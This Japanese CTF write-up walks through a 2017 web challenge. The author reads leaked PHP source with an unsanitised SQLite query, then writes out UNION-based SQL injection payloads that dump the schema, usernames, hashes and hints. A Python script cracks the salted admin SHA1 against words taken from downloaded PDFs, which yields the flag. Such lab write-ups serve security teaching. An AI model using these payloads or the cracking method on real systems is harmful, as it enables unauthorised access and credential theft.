- なぜ 2017 年の問題の writeup を書くのか:ある CTF トレーニングプラットフォームの問題を解くために、Chybeta 大佬の writeup を参考にしたからです。
まず、私たちにアドレスとポート番号が割り当てられたので、開いてみましょう:
それぞれクリックしてみると、ほとんど同じようで、すべてが様々な英語の pdf にリダイレクトされ、理解できません。では、流れに従いましょう:
-
ソースコード:特に変わったところはありません
-
robots.txt:発見がありました
-
トラフィック分析:前のステップで robots.txt に発見があったので、このステップは省略します(ここでは一般的なCTF の問題の Web 処理ステップの三部作を説明するためだけです)
login.php
とadmin.php
が見えます。
login.php
:
admin.php
:
login.php
のソースコードを見てみると、ヒントが見つかります:
一つの TODO:?debug パラメータを削除する
ああ~作者がコメントで削除するように言っていますが、削除されていないか見てみましょう(知らないふりをして)、削除されていないことがわかります:
そして、このページのソースコードがそのままです:
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}
if(isset($_GET['debug']))
highlight_file('login.php');
?>
このソースコードが見えます。
-
POST された usr と pw パラメータは何のフィルタリングもされず、SQL クエリに渡されます(データベースは SQLite なので、SQLite のシステムテーブルは sqlite_master であることを考慮する必要があります)。
-
クエリの結果 id フィールドが空でない場合、setcookie 操作が実行され、クエリの結果 name フィールドが cookie に挿入されます。
クエリ文の実行操作がわかったので、SQL インジェクションのクエリポイントを準備します。まず、元のパケットの形式を見てみましょう。
-
POST を構築します:
usr=%27 UNION SELECT name, sql from sqlite_master--+&pw=soap
-
SQL インジェクションの結果は:
SELECT id,name from Users where name='' union select name, sql from sqlite_master-- and password= 'soap'
id 値は実際にはテーブルの名前(name)であり、得られる name 値は実際にはテーブル作成時の文(sql)です。
-
ヒント:このクエリ結果から、第二フィールドの値のみが返されることがわかります。
URL デコードし、%2C を改行に変換すると、SQL 文が得られます:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
- この文から、現在のテーブルは Users テーブルであり、4 つの列があることがわかります。前述のように第二位置の値のみが返されることを考慮して、以下のようなインジェクション文を構築できます。
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=soap
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=soap
オフセット(つまり後の limit 0,1; limit 1,1; limit 2,1)を使用することで、以下のデータを得ることができます:
name | password | hint |
---|---|---|
admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
fritze | 54eae8935c90f467427f05e4ece82cf569f89507 | my love is…? |
hansi | 34b0bb7c304949f9ff2fc101eef0f048be10d3bd | the password is password |
- 2 と 3 の sha1 を解読できることがわかりましたが、1 の sha1 は解読できません。テーブルの情報はすべて得られましたが、フラグはどこに?
ソースコードと組み合わせると:
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
そしてヒント:my fav word in my fav paper?!
は、ウェブサイト上のすべての pdf の中で最も好きな単語を見つけることを意味します。
ウェブサイト上のすべての pdf をダウンロードするために、ここでは wget を使用して再帰的にダウンロードします:wget xxx.com -r -np -nd -A .pdf
- -r:階層的に再帰処理
- -np:上に(URL パス)再帰しない
- -nd:ウェブサイトと同じ(URL パス)のディレクトリ構造を作成しない
- -A type:ファイルタイプ
次に、すべての pdf から単語を抽出し、それぞれを sha1 ($pass."Salz!") 操作にかけて、admin のパスワードの sha1 と一致する場合、それが出題者の最も好きな単語です。大佬たちは python を使って pdf からテキストを取得していますが、私は小さなツールを使用しました:PDF Shaper Pro
リンク
中には pdf をテキストに変換する機能がありますが、認識エラーや改行時の文字欠落の問題が少しあるかもしれません:
しかし、単語を一つ見つけるだけなので、時間を節約するためにこうすることができます:
もし見つからなければ、Python スクリプトを使えばいいのです:リンク
テキストの問題が解決したので、os ライブラリを使用してディレクトリ内のすべてのテキストファイルを走査し、re で全単語をマッチさせて比較すれば OK です。スクリプトは以下の通りです:
# !/usr/bin/python
# - * - coding:utf-8 - * -
'''
@author: soapffz
@fucntion:
@time: 2018-12-17
'''
import os
import re
import hashlib
def get_words():
txt_name_list = [i for i in os.listdir("Tmp")] # すべてのtxtの名前を取得
os.chdir("Tmp") # 作業ディレクトリを変更
words_list = [] # 重複しないすべてのtxtの単語を格納
for i in range(len(txt_name_list)):
with open(txt_name_list[i], 'r')as f:
words = re.findall('[A-Za-z]+', f.read()) # 正規表現で単語をマッチ
for i in words: # ここで生成されたwordsはリストであり、直接words_listに追加できないので、二重リストにならないようにする
if i not in words_list:
words_list.append(i)
return words_list
def find_passwd():
words_list = get_words()
for word in words_list:
sha1_password = hashlib.sha1(
(word + "Salz!").encode()).hexdigest() # ここではencode()でbytes形式に変換する必要があります
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print("パスワードを見つけました :" + word)
exit()
if __name__ == "__main__":
find_passwd()
運が良かったのか、一致する値を見つけました:
admin のパスワードは:ThinJerboa
admin.php
にアクセスしてログインするとフラグが得られます:
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}